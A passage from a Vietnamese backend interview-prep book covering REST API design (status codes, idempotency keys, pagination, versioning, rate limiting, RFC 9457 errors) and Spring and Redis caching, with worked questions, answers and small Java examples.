    public ResponseEntity<Map<String, Object>> get(@PathVariable long id) {
        Order o = service.findOrNull(id);
        if (o == null) return ResponseEntity.ok(Map.of("success", false, "message", "not found"));
        return ResponseEntity.ok(Map.of("success", true, "data", o));
    }
}



Đáp án:
Cả hai trường hợp đều trả 200, cả hai đều sai. Có bốn vấn đề:
1. create trả 200 mặc định; đúng phải là 201 Created kèm header Location. Sửa: return ResponseEntity.created(URI.create("/api/v1/orders/" + saved.getId())).body(OrderResponse.from(saved));.
1. create nhận và trả thẳng entity Order: client gửi thêm "status":"PAID" hay "id" là được bind vào entity (mass assignment), và response lộ mọi field nội bộ. Dùng DTO request/response riêng, kèm @Valid.
1. get trả 200 cho trường hợp không tìm thấy; đúng phải là 404 với body ProblemDetail. Sửa: service ném OrderNotFoundException, @RestControllerAdvice map sang 404 (xem 4.6), controller chỉ còn một dòng.
1. Bọc dữ liệu trong {"success": true, "data": ...} là thừa khi đã dùng status code đúng, và làm mọi client phải bóc thêm một lớp.
Câu hỏi (Đọc code): Ba request dưới đây đến server theo thứ tự. Server trả gì cho mỗi request và có bao nhiêu thanh toán được tạo?
	10:00:00  POST /payments  Idempotency-Key: k-77  body {"orderId": 104, "amount": 500}
10:00:00  (request 1 is still calling the payment gateway, row k-77 is PROCESSING)
10:00:02  POST /payments  Idempotency-Key: k-77  body {"orderId": 104, "amount": 500}
10:00:09  (request 1 finished: 201, paymentId 9001, row k-77 is COMPLETED)
10:00:15  POST /payments  Idempotency-Key: k-77  body {"orderId": 104, "amount": 900}



Đáp án:
Chỉ một thanh toán (9001) được tạo. Từng request:
1. Request 1: INSERT key k-77 thành công, xử lý và trả 201 với paymentId 9001.
1. Request 2 (10:00:02): INSERT trùng khóa, đọc thấy PROCESSING nên trả 409 Conflict kèm Retry-After, không gọi cổng thanh toán. Client chờ rồi gửi lại thì sẽ nhận đúng 201 9001 đã lưu.
1. Request 3 (10:00:15): cùng key nhưng amount khác, hash body không khớp nên trả 422. Đây là lỗi của client: một key chỉ gắn với một ý định thanh toán; muốn thanh toán số tiền khác thì sinh key mới.
Câu hỏi (Cơ bản): Khi nào trả 409, khi nào trả 422? Cho ví dụ cụ thể.
422 khi bản thân request vi phạm quy tắc, gửi lúc nào cũng sai; 409 khi request hợp lệ nhưng xung đột với trạng thái hiện tại của resource. Ví dụ 422: đặt hàng với quantity = -1, ngày giao hàng trước ngày đặt, email sai định dạng (nhiều team dùng 400 cho nhóm này, miễn nhất quán). Ví dụ 409: đăng ký email đã tồn tại, hủy đơn đã giao, cập nhật với version cũ, request trùng idempotency key đang xử lý. Mẹo phân biệt: nếu cùng request đó có thể thành công ở một thời điểm khác (khi trạng thái khác), đó là 409.
Câu hỏi (Thực chiến): Client gọi API thanh toán bị timeout rồi retry. Làm sao không trừ tiền hai lần?
Dùng idempotency key: client sinh key cho mỗi ý định thanh toán, gửi lại đúng key khi retry. Server lưu key với unique constraint, xử lý lần đầu, lưu response, các lần trùng key trả lại response cũ. Phía gọi sang cổng thanh toán bên thứ ba cũng truyền idempotency key nếu họ hỗ trợ, và có job đối soát cho giao dịch không rõ trạng thái.
	BẪY THƯỜNG GẶP
"Frontend disable nút bấm sau khi click." Chỉ chặn được double-click, không chặn được retry của HTTP client, gateway hay mạng mobile chập chờn.



	CÂU HỎI ĐÀO SÂU
"Hai request cùng key đến đồng thời thì sao?" — Unique constraint đảm bảo chỉ một insert thành công; request còn lại thấy trạng thái PROCESSING và nhận 409, hoặc chờ một khoảng ngắn rồi trả kết quả đã lưu.



Câu hỏi (Hiểu sâu): Vì sao bảng idempotency key cần lưu hash của body và cần khóa gồm cả client id?
Hash body để phát hiện client dùng nhầm một key cho hai yêu cầu khác nhau; client id để key của các client khác nhau không đụng nhau. Nếu không lưu hash, request thứ hai dùng lại key cũ với số tiền khác sẽ lặng lẽ nhận lại response của lần đầu, client tưởng đã thanh toán số tiền mới. Key do client sinh (UUID) nên về lý thuyết hiếm trùng, nhưng client có thể dùng generator kém, hoặc cố tình gửi key của người khác để đọc response đã lưu của họ; đưa client_id (lấy từ token, không lấy từ body) vào khóa chính loại bỏ cả hai rủi ro.
Câu hỏi (Hiểu sâu): Nối kiến thức: vì sao "SELECT xem key đã có chưa, chưa có thì INSERT" không an toàn, dù đã đặt trong @Transactional?
Vì hai transaction chạy song song đều SELECT thấy "chưa có" trước khi bên nào INSERT, và isolation level mặc định không ngăn điều đó. Ở READ COMMITTED (PostgreSQL), mỗi SELECT chỉ thấy dữ liệu đã commit, bên kia chưa commit nên vô hình. Ở REPEATABLE READ (MySQL), snapshot còn cố định từ lần đọc đầu nên càng không thấy. Đây chính là dạng phantom: tập dòng thỏa điều kiện thay đổi sau khi đã kiểm tra (xem 6.3). @Transactional (4.5) chỉ gom các lệnh thành một đơn vị commit/rollback, không tuần tự hóa hai request. Giải pháp là để DB làm trọng tài: unique constraint trên (client_id, idem_key), INSERT trước; bên thua nhận lỗi duplicate key (Spring dịch thành DataIntegrityViolationException) hoặc ON CONFLICT DO NOTHING trả 0 dòng.
Câu hỏi (Hiểu sâu): ETag và If-Match giúp gì khi hai người cùng sửa một resource?
Chúng là optimistic lock ở tầng HTTP: client gửi kèm version đã đọc, server chỉ cập nhật nếu version chưa đổi, ngược lại trả 412 Precondition Failed. Luồng: GET /products/9 trả header ETag: "v7"; admin A và B cùng mở form. A gửi PUT /products/9 kèm If-Match: "v7", thành công, ETag thành "v8". B gửi PUT kèm If-Match: "v7", server thấy đã là "v8" nên trả 412, và B phải tải lại dữ liệu mới rồi sửa tiếp. Phía server, ETag thường lấy từ cột @Version của entity (xem 6.3), nên HTTP và DB dùng chung một cơ chế. Nếu không có cơ chế này, bản lưu của B ghi đè lặng lẽ thay đổi của A: lost update qua giao diện.
Câu hỏi (Đọc code): Với bảng orders mẫu ở Chương 6, hai lần gọi dưới đây trả những đơn nào?
	GET /api/v1/orders?page=0&size=2&sort=createdAt,desc   -> returns 105, 104
(another user creates order 106 at 2026-09-04 10:00)
GET /api/v1/orders?page=1&size=2&sort=createdAt,desc   -> ?



Đáp án:
Lần gọi thứ hai trả 104 và 103, nên đơn 104 xuất hiện hai lần trên màn hình. page=1&size=2 là OFFSET 2 LIMIT 2. Sau khi có đơn 106 mới nhất, thứ tự là 106, 105, 104, 103, 102, 101; bỏ 2 dòng đầu thì còn 104, 103. Ngược lại, nếu có đơn bị xóa ở trang 1, một đơn sẽ bị bỏ sót. Có thêm một lỗi tiềm ẩn: chỉ sort theo createdAt trong khi 103 và 104 trùng thời điểm, nên thứ tự giữa chúng không ổn định giữa các lần gọi; phải luôn thêm id làm cột sắp xếp phụ. Dùng cursor (nextCursor mã hóa createdAt và id của dòng cuối) thì lần gọi thứ hai trả đúng 103, 102.
Câu hỏi (Hiểu sâu): Spring Data trả Page và Slice khác nhau thế nào? Khi nào dùng cái nào?
Page chạy thêm một câu COUNT(*) để biết tổng số dòng và tổng số trang; Slice chỉ lấy size + 1 dòng để biết còn trang sau hay không. Với bảng vài triệu dòng có điều kiện lọc, câu COUNT có thể còn chậm hơn chính câu lấy dữ liệu, và chạy lại ở mỗi lần chuyển trang. Dùng Page khi giao diện thật sự cần "Trang 3 / 120" và dữ liệu nhỏ vừa; dùng Slice hoặc cursor cho infinite scroll, mobile, API đồng bộ. Một thỏa hiệp hay gặp: hiển thị tổng số ước lượng, hoặc chỉ đếm tới một ngưỡng ("hơn 1000 kết quả").
Câu hỏi (Hiểu sâu): Thay đổi nào là breaking change? Thêm một giá trị enum mới có phải không?
Breaking change là thay đổi làm client đang chạy đúng bị hỏng: xóa hoặc đổi tên field, đổi kiểu dữ liệu, thêm field bắt buộc vào request, đổi ý nghĩa của field hay status code, siết validation. Thêm field vào response và thêm endpoint mới là tương thích ngược, với điều kiện client bỏ qua field lạ (Jackson ở phía client cần FAIL_ON_UNKNOWN_PROPERTIES = false, Spring Boot đã tắt sẵn mặc định này). Thêm giá trị enum mới, ví dụ status: "PARTIALLY_REFUNDED", là vùng xám: về cú pháp là tương thích, nhưng app mobile dùng switch đầy đủ hoặc parse enum chặt sẽ crash. Cách phòng: thỏa thuận từ đầu rằng client phải có nhánh mặc định cho giá trị lạ, và ghi rõ trong tài liệu OpenAPI.
Câu hỏi (Hiểu sâu): Token bucket hoạt động thế nào? Cho ví dụ con số.
Mỗi client có một "xô" chứa tối đa N token, token được nạp lại với tốc độ cố định; mỗi request lấy một token, xô rỗng thì trả 429. Ví dụ xô 20 token, nạp 10 token mỗi giây. Client im lặng một lúc thì xô đầy 20, nên có thể bắn 20 request liền một lúc (burst) và đều qua. Request thứ 21 ngay sau đó bị 429 kèm Retry-After: 1. Sau đó client chỉ duy trì được trung bình 10 request mỗi giây. So với fixed window (đếm theo từng phút tròn), token bucket không bị hiện tượng dồn gấp đôi quota ở ranh giới hai phút. Với nhiều instance, trạng thái xô phải nằm ở chỗ dùng chung như Redis, nếu không mỗi instance cho qua một quota riêng.
Câu hỏi (Hiểu sâu): Bạn đánh version API thế nào? Khi nào phải lên v2?
Tôi dùng prefix URI /api/v1 vì đơn giản, dễ route và dễ test. Chỉ lên version khi có breaking change: xóa/đổi tên field, đổi kiểu, đổi ngữ nghĩa. Thêm field hay endpoint mới thì không cần. Khi có v2, chạy song song với v1, theo dõi traffic v1, thông báo lịch ngừng hỗ trợ, và chỉ gỡ v1 khi client đã chuyển hết.
Câu hỏi (Hiểu sâu): Khi nào bạn chọn gRPC hoặc GraphQL thay cho REST?
REST cho API public và giao tiếp với web/mobile vì đơn giản, cache được, ai cũng gọi được. gRPC cho giao tiếp nội bộ giữa các service cần độ trễ thấp, throughput cao, contract chặt, hoặc streaming. GraphQL khi có nhiều loại client cần các tập dữ liệu khác nhau từ cùng một nguồn, nhất là khi muốn giảm số round-trip của mobile, đổi lại phải xử lý giới hạn độ phức tạp query và N+1 trong resolver.
Câu hỏi (Thực chiến): Đối tác báo API tạo đơn đôi khi tạo hai đơn giống hệt nhau. Bạn điều tra và sửa thế nào?
Gần như chắc chắn là request bị gửi lặp (retry ở client, gateway, hoặc người dùng bấm hai lần) và API không có cơ chế chống trùng.
1. Xác nhận: tìm các cặp đơn trùng, so thời gian tạo (thường cách nhau đúng bằng timeout của client, ví dụ 30 giây), so request id hoặc IP trong access log của gateway. Kiểm tra gateway hoặc HTTP client của đối tác có cấu hình retry cho POST không.
1. Sửa phía server: hỗ trợ header Idempotency-Key cho POST /orders, lưu key với unique constraint như mục 7.4; hoặc dùng khóa nghiệp vụ tự nhiên nếu có, như UNIQUE (partner_id, partner_order_ref) để đơn trùng mã tham chiếu bị từ chối và trả lại đơn đã tạo.
1. Sửa phía hạ tầng: tắt retry tự động cho POST ở gateway, hoặc chỉ bật khi có idempotency key.
1. Dọn dữ liệu: hủy các đơn trùng đã phát sinh theo quy trình nghiệp vụ, báo đối tác.
	CÂU HỎI ĐÀO SÂU
"Nếu request đầu tiên xử lý lỗi giữa chừng thì key xử lý sao?" — Lỗi nghiệp vụ có kết quả xác định (ví dụ 422 hết hàng) thì lưu response đó như bình thường. Lỗi tạm thời (DB mất kết nối) thì xóa key hoặc chuyển về trạng thái cho phép thử lại, để client retry được. Bản ghi kẹt ở PROCESSING quá lâu (instance chết) cần job dọn theo thời gian.



Câu hỏi (Thực chiến): Endpoint xuất báo cáo doanh thu mất 2 phút và hay bị timeout ở gateway. Bạn thiết kế lại thế nào?
Chuyển sang xử lý bất đồng bộ: nhận yêu cầu thì trả 202 Accepted kèm URI tra trạng thái, xử lý ở nền, client hỏi lại hoặc được báo khi xong. Luồng cụ thể:
1. POST /api/v1/reports với tham số báo cáo, server tạo bản ghi job PENDING và trả 202 Accepted, header Location: /api/v1/reports/555.
1. Worker xử lý job (qua thread pool, queue hoặc scheduler), cập nhật RUNNING rồi DONE kèm đường dẫn file.
1. Client gọi GET /api/v1/reports/555 định kỳ, nhận {"status": "RUNNING"}, rồi {"status": "DONE", "downloadUrl": "..."}; hoặc server gửi webhook, email khi xong.
Cách này không giữ kết nối HTTP và thread của server trong 2 phút, gateway không timeout, và người dùng bấm lại cũng không chạy trùng nếu kèm idempotency key hoặc kiểm tra job đang chạy cùng tham số.
Câu hỏi (Thực chiến): Sau khi deploy, app mobile phiên bản cũ bị crash vì một field đổi tên. Bạn xử lý tình huống và phòng ngừa thế nào?
Xử lý ngay: rollback hoặc trả lại field cũ song song với field mới; phòng ngừa: coi response là hợp đồng và kiểm tra tương thích tự động. Trước mắt, tôi ưu tiên khôi phục cho client cũ nhanh nhất: rollback bản deploy, hoặc hotfix để response chứa cả customerName (cũ) lẫn fullName (mới). App mobile không thể buộc người dùng cập nhật ngay, nên field cũ phải sống cho tới khi thống kê cho thấy phiên bản app cũ không còn người dùng. Phòng ngừa: quy tắc "chỉ thêm, không đổi, không xóa" trong một version; so sánh spec OpenAPI giữa hai bản trong CI bằng công cụ phát hiện breaking change (ví dụ openapi-diff); contract test với client quan trọng; và khi thật sự cần đổi, mở /v2 như mục 7.5.
Câu hỏi (Thực chiến): API của bạn gọi cổng thanh toán bên thứ ba và bị timeout. Bạn trả gì cho client và xử lý giao dịch ra sao?
Timeout nghĩa là "không biết", không phải "thất bại": không được báo thất bại cho người dùng rồi để họ thanh toán lại. Trả trạng thái đang xử lý và đối soát cho ra kết quả thật. Cụ thể: lưu giao dịch với trạng thái PENDING trước khi gọi cổng, luôn gửi idempotency key (hoặc mã giao dịch của mình) sang cổng thanh toán; khi timeout, trả cho client 202 Accepted kèm URI tra trạng thái (hoặc 504 nếu API là đồng bộ, kèm hướng dẫn tra lại chứ không bảo thanh toán lại). Sau đó một job gọi API tra cứu giao dịch của cổng theo mã của mình để chốt SUCCESS hay FAILED, và nhận webhook từ cổng nếu có. Retry sang cổng chỉ an toàn khi cổng hỗ trợ idempotency key; nếu không, phải tra cứu trước khi gửi lại.
Câu hỏi (Đọc code): Response lỗi dưới đây có những vấn đề gì?
	HTTP/1.1 200 OK
Content-Type: application/json
 
{"status": 404, "error": "org.hibernate.ObjectNotFoundException",
 "message": "No row with the given identifier exists: [Order#999]",
 "trace": "at org.hibernate.internal.SessionImpl.load(...)\n at com.shop.order..."}



Đáp án:
Có bốn vấn đề: sai status code, sai content type, lộ chi tiết nội bộ, và không theo format lỗi thống nhất.
1. HTTP status là 200 trong khi body nói 404: gateway, monitoring và client đều hiểu là thành công. Phải trả HTTP 404.
1. Content-Type nên là application/problem+json và body theo RFC 9457 (type, title, status, detail, instance) như mục 7.6.
1. Tên class Hibernate, thông điệp nội bộ và stack trace lộ công nghệ, cấu trúc package và entity, giúp kẻ tấn công dò hệ thống (xem Chương 5). Stack trace chỉ nên nằm trong log server, response chỉ mang traceId để tra log.
1. detail nên là câu dành cho client, ví dụ "Order 999 not found". Trong Spring Boot, kiểm tra thêm server.error.include-stacktrace phải để never (mặc định) trên production.
7.9 Tóm tắt trọng tâm
1. Resource là danh từ số nhiều trên URI, còn hành động do method HTTP thể hiện, vì client, cache và gateway đều dựa vào method để hiểu ngữ nghĩa của request.
1. Stateless nghĩa là mỗi request tự mang đủ thông tin (thường là token), nhờ đó bất kỳ instance nào cũng xử lý được và scale ngang dễ dàng.
1. Idempotent nói về trạng thái trên server sau nhiều lần gọi, không nói về response, nên DELETE lần hai trả 404 vẫn là idempotent.
1. GET, PUT, DELETE được hạ tầng tự retry an toàn; POST thì không, vì mỗi lần gọi có thể tạo thêm một resource mới.
1. Không bao giờ dùng GET để thay đổi dữ liệu, vì trình duyệt, crawler và proxy được phép tự gọi GET.
1. Status code là hợp đồng với client và hạ tầng: 4xx là client phải sửa request, 5xx là lỗi phía server và có thể retry nếu request idempotent.
1. Tạo mới trả 201 kèm Location, xử lý bất đồng bộ trả 202 kèm URI tra trạng thái, không trả 200 kèm {"success": false} cho lỗi.
1. Idempotency key dựa vào unique constraint ở DB, vì kiểm tra bằng SELECT rồi INSERT luôn có khe hở race condition.
1. Request trùng key trả lại đúng response đã lưu, đang xử lý thì trả 409, cùng key khác body thì trả 422.
1. Cursor pagination nhanh ở mọi trang và không lặp hay sót dữ liệu khi có bản ghi mới, nên hợp với mobile và API đồng bộ; offset hợp với màn hình admin cần nhảy trang.
1. Chỉ tăng version khi có breaking change; thêm field là tương thích ngược, còn v1 cũ phải chạy song song và báo trước bằng Deprecation, Sunset.
1. Lỗi theo một format duy nhất là ProblemDetail (RFC 9457), liệt kê mọi field sai trong một lần và không bao giờ chứa stack trace.
1. ETag với If-Match là optimistic lock ở tầng HTTP, trả 412 khi resource đã bị người khác sửa.
Câu hỏi (Thực chiến): Một client gọi GET /orders?size=100000 làm DB và heap của service tăng vọt. Bạn phòng thủ thế nào?
Không bao giờ tin tham số phân trang từ client: đặt giới hạn size tối đa, whitelist field sort, và thêm rate limit theo client. Cụ thể:
1. Giới hạn size: Spring Data có spring.data.web.pageable.max-page-size (mặc định 2000), nên hạ xuống mức hợp lý như 100; request vượt ngưỡng thì cắt về 100 hoặc trả 400 kèm thông báo rõ.
1. Whitelist sort: chỉ cho phép sort theo cột có index (createdAt, id); sort theo cột tùy ý có thể gây full scan kèm filesort trên bảng lớn (xem 6.2).
1. Nhu cầu lấy toàn bộ dữ liệu thật sự (xuất Excel, đồng bộ) thì cung cấp endpoint riêng: cursor pagination, hoặc job bất đồng bộ trả 202 như câu hỏi về báo cáo ở trên.
1. Rate limit theo API key để một client không chiếm hết tài nguyên, trả 429 kèm Retry-After.
1. Đặt timeout cho query (jakarta.persistence.query.timeout hoặc statement_timeout của PostgreSQL) để một query tệ không giữ connection mãi.
7.10 Checklist ôn tập
1. Nêu các ràng buộc chính của REST, đặt tên resource đúng quy ước.
1. Phân biệt safe và idempotent, điền đúng bảng GET/POST/PUT/PATCH/DELETE.
1. Giải thích PUT vs PATCH, JSON Merge Patch vs JSON Patch.
1. Dùng đúng 200/201/202/204/400/401/403/404/409/422/429/500/503.
1. Thiết kế idempotency key cho POST thanh toán, xử lý request đồng thời.
1. Thiết kế phân trang, lọc, sắp xếp có giới hạn và whitelist.
1. So sánh các cách versioning, phân biệt thay đổi tương thích và breaking change.
1. Viết format lỗi theo RFC 9457 với ProblemDetail.
1. Dùng springdoc-openapi, phân biệt code-first và contract-first.
1. Giải thích rate limiting, token bucket, nơi đặt rate limiter, status 429.
1. So sánh REST, gRPC, GraphQL và nói được vị trí của SOAP hiện nay.
Chương 8. Caching và Message Queue
Hầu như hệ thống nào bạn làm ở năm thứ 2–4 cũng có Redis và một message broker. Vì vậy tôi không hỏi "Redis là gì" mà hỏi "cache lệch với DB thì xử lý thế nào", "consumer nhận trùng message thì sao", "lưu DB xong gửi Kafka lỗi thì sao". Cả hai chủ đề có chung bản chất: đánh đổi tính nhất quán tức thời để lấy hiệu năng và khả năng chịu tải, và ứng viên giỏi nói được cái giá của sự đánh đổi đó.
	NGƯỜI PHỎNG VẤN MUỐN KIỂM TRA
1. Hiểu cache-aside và vì sao thường xóa cache thay vì cập nhật cache khi ghi.
1. Biết các sự cố kinh điển: cache penetration, breakdown (stampede), avalanche và cách chống.
1. Nắm Kafka ở mức vận hành được: partition, key, consumer group, offset, acks, thứ tự message.
1. Hiểu delivery semantics thực tế là at-least-once, nên consumer phải idempotent.
1. Giải thích được vấn đề dual write và Transactional Outbox.



8.1 Các tầng cache và khi nào nên cache
Cache là gì, nói bằng lời thường
Hãy hình dung bạn làm thu ngân ở quán cà phê. Bảng giá đầy đủ nằm trong máy tính ở phòng sau (đó là database), mỗi lần tra phải đi ra sau mất 30 giây. Sau vài ngày, bạn chép giá 10 món bán chạy nhất ra một tờ giấy dán ngay quầy (đó là cache): khách hỏi giá cà phê sữa, bạn liếc tờ giấy là trả lời được ngay. Cache chính là một bản sao nhỏ, đặt gần nơi cần dùng, của dữ liệu mà lấy từ nguồn gốc thì chậm hoặc tốn kém.
Từ ví dụ đó, bốn thuật ngữ bạn sẽ gặp suốt chương này:
1. Cache hit: dữ liệu cần tìm có sẵn trên tờ giấy, trả lời ngay mà không đi ra phòng sau.
1. Cache miss: tờ giấy không có món khách hỏi, phải đi tra máy tính, và thường chép luôn kết quả lên giấy cho lần sau.
1. TTL (time to live): hạn dùng của mỗi dòng trên tờ giấy, ví dụ "dòng này chỉ tin được trong 10 phút". Hết hạn thì coi như không có, lần sau phải tra lại. TTL tồn tại vì chủ quán có thể đổi giá mà bạn không biết; hạn dùng giới hạn thời gian bạn đọc giá sai.
1. Eviction: tờ giấy chỉ có 10 dòng. Muốn chép món thứ 11 thì phải gạch một món cũ đi. Chọn gạch món nào (lâu rồi không ai hỏi, hay ít người hỏi nhất) chính là chính sách eviction, ví dụ LRU và LFU ở mục 8.3.
Chỉ số quan trọng nhất của cache là hit ratio (tỷ lệ trúng): 1.000 lần đọc có 950 lần hit thì hit ratio là 95%, DB chỉ còn nhận 50 truy vấn thay vì 1.000. Hit ratio thấp (dưới khoảng 70–80%) thường nghĩa là cache đang tốn bộ nhớ mà không giúp được bao nhiêu.
Đoạn code dưới đây mô phỏng một cache nhỏ bằng HashMap với đồng hồ giả, để bạn nhìn tận mắt hit, miss và TTL trước khi dùng Redis.
	import java.util.*;
 
public class TinyCache {
    record Entry(String value, long expireAt) {}
    static final Map<String, Entry> cache = new HashMap<>();
    static long now = 0; // fake clock, in seconds
 
    static String get(String key) {
        Entry e = cache.get(key);
        if (e != null && e.expireAt() > now) { System.out.println("HIT  " + key); return e.value(); }
        System.out.println("MISS " + key + " -> query DB");
        String fromDb = "Product #" + key;             // pretend this query took 50ms
        cache.put(key, new Entry(fromDb, now + 600)); // TTL = 600 seconds
        return fromDb;
    }
 
    public static void main(String[] args) {
        get("1");   // prints: MISS 1 -> query DB
        get("1");   // prints: HIT  1
        now = 601;  // 601 seconds later, the entry has expired
        get("1");   // prints: MISS 1 -> query DB
    }
}



Giải thích: lần gọi đầu cache rỗng nên miss, "truy vấn DB" rồi lưu kèm hạn now + 600. Lần thứ hai entry còn hạn nên hit, không chạm DB. Khi đồng hồ nhảy sang giây 601, entry vẫn nằm trong map nhưng đã quá hạn, nên bị coi như không có và lại miss. Cache thật (Caffeine, Redis) làm đúng việc này, chỉ thêm giới hạn dung lượng (eviction), an toàn đa luồng và xóa entry hết hạn khỏi bộ nhớ.
Cache có ở nhiều tầng: trình duyệt (Cache-Control, ETag), CDN, API Gateway, cache trong JVM (Caffeine), cache phân tán (Redis) và buffer pool của DB. Với backend, hai lựa chọn chính là local cache và distributed cache.
	Tiêu chí
	Local cache (Caffeine)
	Distributed cache (Redis)

	Tốc độ
	Nhanh nhất, không qua mạng
	Chậm hơn, mất 1 round-trip mạng

	Nhất quán giữa các instance
	Mỗi pod một bản, dễ lệch
	Một bản dùng chung

	Dung lượng
	Giới hạn bởi Heap, ảnh hưởng GC
	Lớn, scale riêng

	Hợp với
	Config, danh mục ít đổi
	Session, dữ liệu dùng chung, rate limit



Dữ liệu đáng cache: đọc nhiều hơn ghi rất nhiều, chấp nhận cũ vài giây đến vài phút, và truy vấn gốc tốn kém. Số dư, tồn kho lúc thanh toán thì tôi chỉ cache để hiển thị, không dùng để ra quyết định.
	MẸO TỪ NGƯỜI PHỎNG VẤN
Khi được hỏi về cache, hãy mở đầu bằng "dữ liệu này chấp nhận cũ bao lâu?". Câu hỏi ngược đó cho người phỏng vấn thấy bạn nghĩ về nghiệp vụ trước khi nghĩ về công cụ.



Ví dụ áp dụng tiêu chí "đáng cache"
	Dữ liệu
	Đọc/ghi
	Chấp nhận cũ
	Quyết định

	Danh mục tỉnh/thành
	Đọc liên tục, gần như không ghi
	Vài giờ
	Local cache, TTL dài

	Chi tiết sản phẩm
	1.000 đọc : 1 ghi
	Vài phút
	Redis, TTL 10 phút, xóa khi sửa

	Giỏ hàng của user
	Đọc và ghi xấp xỉ nhau
	Không
	Lưu thẳng Redis/DB, không phải cache

	Tồn kho lúc thanh toán
	Ghi liên tục
	Không
	Không cache để ra quyết định



Giải thích: hai dòng đầu đáng cache vì đọc áp đảo ghi và nghiệp vụ chịu được dữ liệu cũ vài phút. Giỏ hàng ghi nhiều như đọc nên cache không giảm tải được bao nhiêu mà còn thêm nguy cơ lệch. Tồn kho lúc thanh toán mà đọc từ cache cũ sẽ bán quá số lượng, nên quyết định cuối cùng phải dựa trên DB.
8.2 Spring Cache abstraction
	NHẮC LẠI KIẾN THỨC
Spring tạo proxy bọc quanh bean; annotation như @Transactional, @Cacheable chỉ có tác dụng khi lời gọi đi qua proxy từ bean khác, không có tác dụng khi gọi this.method() trong cùng class (xem mục 4.4 và phần Self-invocation ở mục 4.5).



Spring Cache cho phép khai báo cache bằng annotation, còn nơi lưu (Caffeine, Redis) do CacheManager quyết định. Cần @EnableCaching trên một class cấu hình.
Đoạn code dưới đây là tình huống điển hình: API chi tiết sản phẩm được gọi rất nhiều nên kết quả getById được cache theo id, và khi sản phẩm bị sửa thì phải xóa đúng key đó để người dùng không thấy tên cũ.
	@Service
public class ProductService {
    private final ProductRepository repo;
 
    public ProductService(ProductRepository repo) { this.repo = repo; }
 
    // key "product::<id>" found in cache: return it, the method body does NOT run
    @Cacheable(cacheNames = "product", key = "#id", unless = "#result == null") // do not cache null
    public ProductDto getById(Long id) {
        return repo.findById(id).map(ProductDto::from).orElse(null); // runs only on cache miss
    }
 
    @Transactional
    @CacheEvict(cacheNames = "product", key = "#cmd.id()") // evict the key after the method returns
    public void update(UpdateProductCmd cmd) {
        Product p = repo.findById(cmd.id()).orElseThrow();
        p.rename(cmd.name()); // dirty checking, UPDATE runs at commit
    }
}



Giải thích: lần gọi getById(1) đầu tiên cache miss, method chạy query DB và kết quả được lưu vào cache product với key 1; các lần gọi sau trả thẳng từ cache, không có câu SQL nào. Khi update chạy xong, key tương ứng bị xóa nên lần đọc tiếp theo lại miss và nạp giá trị mới. Cơ chế nằm ở proxy: Spring bọc bean bằng proxy, proxy kiểm tra cache trước khi gọi vào method thật, nên thân method bị bỏ qua hoàn toàn khi có cache hit. unless = "#result == null" tránh lưu kết quả null cho id không tồn tại (nếu muốn chống cache penetration thì lại nên cache null với TTL ngắn, xem mục 8.5). Ý nghĩa từng annotation:
1. @Cacheable: có trong cache thì trả về luôn, không chạy method; chưa có thì chạy rồi lưu kết quả.
1. @CachePut: luôn chạy method và ghi đè kết quả vào cache.
1. @CacheEvict: xóa một key hoặc allEntries = true; mặc định xóa sau khi method chạy xong không lỗi.
1. sync = true trên @Cacheable: chỉ một thread được load giá trị cho một key, nhưng chỉ trong phạm vi một JVM.
Annotation không nói cache nằm ở đâu. Để cache ở Redis (dùng chung cho mọi instance) thay vì trong bộ nhớ từng JVM, cấu hình trong application.yml:
	spring:
  cache:
    type: redis                 # use RedisCacheManager as the store
    redis:
      time-to-live: 10m         # default TTL for every entry, safety net if an evict is missed
      cache-null-values: false  # do not store null values in Redis
  data:
    redis:                      # Spring Boot 3: prefix spring.data.redis
      host: localhost
      port: 6379



Giải thích: với cấu hình này, mỗi lần @Cacheable lưu kết quả, Spring serialize object và ghi vào Redis với key dạng product::1, kèm TTL 10 phút; hết 10 phút Redis tự xóa key dù không có ai gọi @CacheEvict. cache-null-values: false nghĩa là method trả null thì không ghi gì. Phần spring.data.redis là thông tin kết nối, dùng chung cho cả cache lẫn RedisTemplate. Điều cần rút ra: luôn đặt TTL, vì mọi cơ chế evict bằng code đều có lúc sót (race, service khác ghi thẳng DB).
	GHI CHÚ
Từ Spring Boot 3.0, cấu hình kết nối Redis đã chuyển từ spring.redis.* sang spring.data.redis.*. Nhiều tài liệu cũ vẫn dùng tiền tố cũ và cấu hình sẽ bị bỏ qua.



	BẪY THƯỜNG GẶP
Self-invocation: gọi this.getById(id) từ một method khác trong cùng class thì cache không hoạt động, y hệt @Transactional, vì lời gọi không đi qua proxy. Ngoài ra cache annotation trên method private cũng không có tác dụng.



8.3 Redis: cấu trúc dữ liệu, TTL và eviction
Redis thực thi lệnh trên một thread chính (từ Redis 6 có thêm I/O thread cho mạng), nên từng lệnh là nguyên tử. Điều này rất quan trọng khi dùng INCR, DECR, SET NX hoặc Lua script cho bài toán đếm và khóa.
	Kiểu
	Lệnh tiêu biểu
	Dùng cho

	String
	SET, GET, INCR
	Cache object JSON, counter, rate limit

	Hash
	HSET, HGET
	Object nhiều field, cập nhật từng field

	List
	LPUSH, RPOP
	Hàng đợi đơn giản, danh sách mới nhất

	Set
	SADD, SISMEMBER
	Tập duy nhất, ai đã mua, ai đã like

	Sorted Set
	ZADD, ZRANGE
	Bảng xếp hạng, sliding window rate limit



TTL đặt bằng SET key value EX 600 hoặc EXPIRE key 600. Redis xóa key hết hạn theo hai cách: lazy (khi có ai truy cập key) và active (định kỳ lấy mẫu ngẫu nhiên các key có TTL để xóa), nên key hết hạn không biến mất ngay lập tức khỏi bộ nhớ.
Khi chạm maxmemory, Redis áp dụng maxmemory-policy. Mặc định là noeviction: lệnh ghi sẽ báo lỗi. Với Redis dùng thuần làm cache, tôi thường chọn allkeys-lru hoặc allkeys-lfu. Các biến thể volatile-* chỉ loại bỏ các key có TTL, phù hợp khi Redis vừa làm cache vừa chứa dữ liệu không được mất.
Nói bằng lời thường: LRU (Least Recently Used) gạch món lâu nhất chưa ai hỏi tới; LFU (Least Frequently Used) gạch món ít người hỏi nhất. Ví dụ Redis còn chỗ cho 1 key, đang có A (được đọc 1.000 lần, lần cuối 5 phút trước) và B (đọc 2 lần, lần cuối 1 giây trước). LRU sẽ loại A vì nó lâu chưa được đụng tới; LFU sẽ loại B vì nó ít được dùng. LFU hợp với dữ liệu có "key nóng" ổn định, LRU hợp với dữ liệu mà cái mới truy cập có khả năng được truy cập tiếp.
Lệnh Redis thường dùng, kèm output mẫu
